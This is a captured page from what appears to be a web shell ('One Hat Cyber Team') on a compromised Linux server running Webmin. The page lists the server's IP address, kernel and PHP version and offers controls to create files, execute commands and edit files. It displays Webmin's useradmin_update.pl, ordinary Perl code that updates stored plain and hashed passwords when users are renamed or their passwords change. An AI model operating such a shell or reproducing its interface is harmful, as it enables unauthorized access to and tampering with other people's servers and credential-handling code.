⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
virtual-server
/
Edit File: useradmin_update.pl
do 'virtual-server-lib.pl'; # useradmin_create_user(&details) # Does nothing sub useradmin_create_user { } # useradmin_delete_user(&details) # Does nothing (though maybe could delete the domain) sub useradmin_delete_user { } # useradmin_modify_user(&details) # If the domain user's password is being changed, update it in the domain's # file as well sub useradmin_modify_user { if ($_[0]->{'olduser'} && $_[0]->{'olduser'} ne $_[0]->{'user'}) { local $d = &get_user_domain($_[0]->{'user'}); if ($d) { # User was renamed .. update mailbox plainpass local %plain; &read_file_cached("$plainpass_dir/$d->{'id'}", \%plain); if ($plain{$_[0]->{'olduser'}}) { $plain{$_[0]->{'user'}} = $plain{$_[0]->{'olduser'}}; delete($plain{$_[0]->{'olduser'}}); &write_file("$plainpass_dir/$d->{'id'}", \%plain); } # And hashed passwords local %hash; &read_file_cached("$hashpass_dir/$d->{'id'}", \%hash); if ($hash{$_[0]->{'olduser'}}) { foreach my $s (@hashpass_types) { $hash{$_[0]->{'user'}.' '.$s} = $hash{$_[0]->{'olduser'}.' '.$s}; delete($hash{$_[0]->{'olduser'}.' '.$s}); } &write_file("$hashpass_dir/$d->{'id'}", \%hash); } } } if ($_[0]->{'passmode'} == 3) { &set_all_null_print(); # Update passwords for domain owners foreach my $d (&get_domain_by("user", $_[0]->{'user'})) { $oldd = { %$d }; $d->{'pass'} = $_[0]->{'plainpass'}; $d->{'pass_set'} = 1; &generate_domain_password_hashes($d, 0); if ($d->{'disabled'}) { # Clear any saved passwords, as they should # be reset at this point $d->{'disabled_oldpass'} = $_[0]->{'pass'}; $d->{'disabled_mysqlpass'} = undef; $d->{'disabled_postgrespass'} = undef; } # Update all features, except Unix which has already been # updated by caller foreach my $f (@features) { if ($f ne "unix" && $config{$f} && $d->{$f}) { local $mfunc = "modify_".$f; &$mfunc($d, $oldd); } } # Update all plugins foreach my $f (&list_feature_plugins()) { if ($d->{$f}) { &plugin_call($f, "feature_modify", $d, $oldd); } } &save_domain($d); } # Update mailbox user passwords local $d = &get_user_domain($_[0]->{'user'}); if ($d && $d->{'user'} ne $_[0]->{'user'}) { local ($user) = grep { $_->{'user'} eq $_[0]->{'user'} } &list_domain_users($d, 1, 0, 0, 0); if ($user) { $olduser = { %$user }; $user->{'passmode'} = 3; $user->{'plainpass'} = $_[0]->{'plainpass'}; $user->{'pass'} = &encrypt_user_password( $user, $_[0]->{'plainpass'}); &modify_user($user, $olduser, $d); # Call plugin save functions foreach $f (&list_mail_plugins()) { &plugin_call($f, "mailbox_modify", $user, $olduser, $d); } } } &run_post_actions(); } } sub null_print { }
Simpan